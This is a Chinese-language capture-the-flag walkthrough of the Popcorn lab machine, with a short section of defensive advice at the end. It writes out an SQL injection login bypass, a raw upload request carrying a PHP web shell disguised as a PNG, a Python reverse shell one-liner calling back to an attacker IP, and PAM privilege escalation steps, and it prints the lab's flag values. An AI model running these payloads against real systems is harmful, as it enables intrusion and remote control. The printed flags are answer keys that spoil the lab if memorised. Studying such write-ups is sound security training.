[Meachines] [Medium] Popcorn SQLI+Upload File+PAM权限提升
字数 954 2025-08-19 12:40:41
Popcorn靶机渗透测试教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行初始端口扫描:
nmap -p- 10.10.10.6 --min-rate 1000 -sC -sV
扫描结果:
- 22/tcp:OpenSSH 5.1p1 (Ubuntu Linux)
- 80/tcp:Apache httpd 2.2.12
- 重定向到 http://popcorn.htb/
- 服务器头信息:Apache/2.2.12 (Ubuntu)
1.2 主机名解析
将目标IP与域名关联:
echo '10.10.10.6 popcorn.htb' >> /etc/hosts
1.3 目录枚举
使用feroxbuster进行目录扫描:
feroxbuster --url http://popcorn.htb/
2. Web应用渗透
2.1 SQL注入漏洞利用
发现登录页面:
http://popcorn.htb/torrent/login.php
使用经典SQL注入绕过认证:
用户名:admin' or '1'='1
密码:任意值(如xxx)
2.2 文件上传功能
成功登录后访问:
http://popcorn.htb/torrent/torrents.php?mode=upload
下载示例torrent文件:
wget https://cdimage.kali.org/kali-2024.2/kali-linux-2024.2-installer-amd64.iso.torrent -O 1.torrent
2.3 上传Web Shell
- 访问编辑页面:
http://popcorn.htb/torrent/edit.php?mode=edit&id=15e47da8c58f93e7bd55a60ef02d4bf05645becc
- 构造恶意PHP文件上传请求:
POST /torrent/upload_file.php?mode=upload&id=15e47da8c58f93e7bd55a60ef02d4bf05645becc HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=356668434211973508953699136894
--356668434211973508953699136894
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
<?php system($_GET[1]);phpinfo();
--356668434211973508953699136894
Content-Disposition: form-data; name="submit"
Submit Screenshot
--356668434211973508953699136894--
- Web Shell访问路径:
http://popcorn.htb/torrent/upload/15e47da8c58f93e7bd55a60ef02d4bf05645becc.php
3. 获取初始立足点
3.1 反向Shell
使用Python反向Shell代码:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.24",10032));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
通过Web Shell执行:
curl 'http://popcorn.htb/torrent/upload/15e47da8c58f93e7bd55a60ef02d4bf05645becc.php?1=python%20-c%20...'
3.2 获取用户标志
用户标志位置:
/home/<user>/user.txt
内容:5cdfb68827912b249896490a60bf420c
4. 权限提升
4.1 系统信息收集
检查系统信息:
uname -a
查找可疑文件:
ls -lAR /home/george
发现文件:.cache/motd.legal-displayed
4.2 PAM漏洞利用
发现PAM 1.1.0存在文件篡改特权升级漏洞(Exploit-DB 14339)
- 确保拥有交互式Shell:
python -c 'import pty; pty.spawn("/bin/sh")'
-
下载或创建exp.sh脚本
-
执行权限提升:
chmod +x exp.sh
./exp.sh
4.3 获取root标志
root标志位置:
/root/root.txt
内容:d87c02b4781a36f55ea99c8c8fbf4d20
5. 关键知识点总结
- SQL注入:使用
' or '1'='1绕过认证 - 文件上传绕过:通过修改Content-Type和文件名上传PHP Shell
- 反向Shell:Python实现跨平台反向连接
- PAM提权:利用motd.legal-displayed文件进行权限提升
- 交互式Shell:在非交互式环境中使用pty.spawn获取完整功能
6. 防御建议
- 使用参数化查询防止SQL注入
- 严格限制上传文件类型,使用白名单验证
- 及时更新PAM等系统组件
- 限制服务器文件系统权限
- 监控异常文件创建和修改